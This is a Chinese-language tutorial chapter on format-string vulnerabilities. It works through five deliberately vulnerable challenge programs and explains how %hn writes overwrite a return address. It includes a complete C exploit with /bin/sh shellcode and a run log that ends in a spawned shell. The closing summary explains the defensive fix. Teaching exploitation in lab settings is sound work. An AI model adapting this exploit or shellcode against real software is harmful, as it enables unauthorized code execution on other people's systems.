★★ 二格式化字符串篇
測試環(huán)境 redhat 6.2 glibc 2.1.3
★ 2.1 演示一
/* fs1.c* * specially crafted to feed your brain by gera@core-sdi.com */
/* Don't forget,* * more is less,* * here's a proof */
int main(int argv,char **argc) { short int zero=0; int *plen=(int*)malloc(sizeof(int)); char buf[256];
strcpy(buf,argc[1]); printf("%s%hn\n",buf,plen); while(zero); } 利用方法: 這個程序構(gòu)造的很巧妙,如果我們需要從這個程序中得到控制的話, 我們需要把strcpy和printf都利用起來。 我們的目標:覆蓋main函數(shù)的返回地址,需要使zero為0,然而,單單strcpy 是不可能實現(xiàn)的,所以我們需要利用后面的 printf("%s%hn\n",buf,plen); 把short int 類型的zero設(shè)置為0。所以我們需要精心構(gòu)造argc[1].
★ 2.2 演示二
/* fs2.c* * specially crafted to feed your brain by gera@core-sdi.com */
/* Can you tell me what's above the edge? */ int main(int argv,char **argc) { char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]); snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]); } 假如我們現(xiàn)在來覆蓋main的返回地址:0xbffffb6c, 假使shellcode地址為:0xbffffc88 開始構(gòu)造模板 第一次我們構(gòu)造argc[1]的時候需要使argc[1]長度為0xbfff-2 那使構(gòu)造argc[1]內(nèi)容為 aaaa | bbbb | \0x8a\0xfc\0xff\0xbf|... 第二次我們構(gòu)造argc[2]的時候需要使argc[2]長度為0xfb6c-2 那使構(gòu)造argc[2]內(nèi)容為 aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...
★ 2.3 演示三
/* fs3.c* * specially crafted to feed your brain by riq@core-sdi.com*/
/* Not enough resources?*/
int main(int argv,char **argc) { char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]); } 在上例中我們也看到,shellcode和main的返回地址存放的地址后兩個字節(jié)是 一樣的,所以也就不需要上面的第一步操作,直接如下構(gòu)造: 構(gòu)造argc[1]的時候需要使argc[1]長度為0xfb6c-2 那使構(gòu)造argc[1]內(nèi)容為 aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...
★ 2.4 演示四
/* fs4.c* * specially crafted to feed your brain by gera@core-sdi.com */
/* Have you ever heard about code reusability?*/
int main(int argv,char **argc) { char buf[256];
snprintf(buf,sizeof buf,"%s%6$hn",argc[1]); printf(buf); } %6$hn格式化字符串表示%hn對應(yīng)的格式化參數(shù)使用第六個參數(shù) 明白這一點,寫出exploit應(yīng)該不是問題。 看了下面一個例子就應(yīng)該明白%6$是怎么回事了 [alert7@redhat62 alert7]$ cat test.c #include <stdio.h>
int main(int argc, char *argv[]) { int a=2,b=3; printf("%d %d\n",a ,b); printf("%2$d %1$d\n",a ,b);
return 0; } [alert7@redhat62 alert7]$ gcc -o test test.c -g [alert7@redhat62 alert7]$ ./test 2 3 3 2 這樣,我們可以在格式化串中自己指定所用哪個參數(shù),而無需按照參數(shù)次序。
★ 2.5 演示五
/* fs5.c* * specially crafted to feed your brain by gera@core-sdi.com */
/* go, go, go!*/ int main(int argv,char **argc) { char buf[256]; snprintf(buf,sizeof buf,argc[1]);
/* this line'll make your life easier */ //printf("%s\n",buf); } [alert7@redhat]$ gcc -o test test.c -g 給個exploit更感性一點 [alert7@redhat]$ cat exp.c|more #include <stdlib.h> #include <unistd.h>
#define DEFAULT_OFFSET0 #define DEFAULT_ALIGNMENT 0 #define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8 //F為格式化字符串地址 //X為垃圾的個數(shù),X*4也就是 //從esp到F的長度
#define NOP0x90
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[]) { char *ptr;
long shell_addr,retloc=DEFAULT_RETLOC; int i,SH1,SH2; char buf[512]; char buf1[5000]; int t; printf("Using RET location address: 0x%x\n", retloc); shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的參數(shù)地址 //里面存放著shellcode printf("Using Shellcode address: 0x%x\n", shell_addr); SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8
ptr = buf;
if ((SH1)<(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc) & 0xff; (*ptr++) = ((retloc) >> 8) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ;
sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 )); /*推薦構(gòu)造格式化串的時候使用%hn*/ }
if ((SH1 )>(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc) & 0xff; (*ptr++) = ((retloc) >> 8) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 )); } if ((SH1 )==(SH2)) { printf("不能用一個printf實現(xiàn)這種情況\n"),exit(0); //其實是可以的,注意這個$這個特殊的printf選項沒有 //參考前面的演示四 :) } sprintf(buf1,"%s%s",buf,shellcode); execle("./test","test",buf1, NULL,NULL); } [alert7@redhat]$ gcc -o exp exp.c [alert7@redhat]$ ./exp 50 Using RET location address: 0xbffffd18 Using Shellcode address: 0xbfffff42 bash$ uname -a Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown bash$ 成功:) 里面的一些數(shù)據(jù)的定位請參考我寫的<<利用格式化串覆蓋printf()系列函數(shù)本身的返回地址>>
★★ 小結(jié): 存在格式化字符串的根本原因所在是程序允許用戶提供部分或全部的格式化字符串, 也就是說,在*printf()系列函數(shù)中,格式化字符串位置的參數(shù)可由用戶提供或者說 是控制。例如:千萬不要因為懶惰寫成這樣printf(buf),正確的寫法應(yīng)該是 printf("%s",buf).
|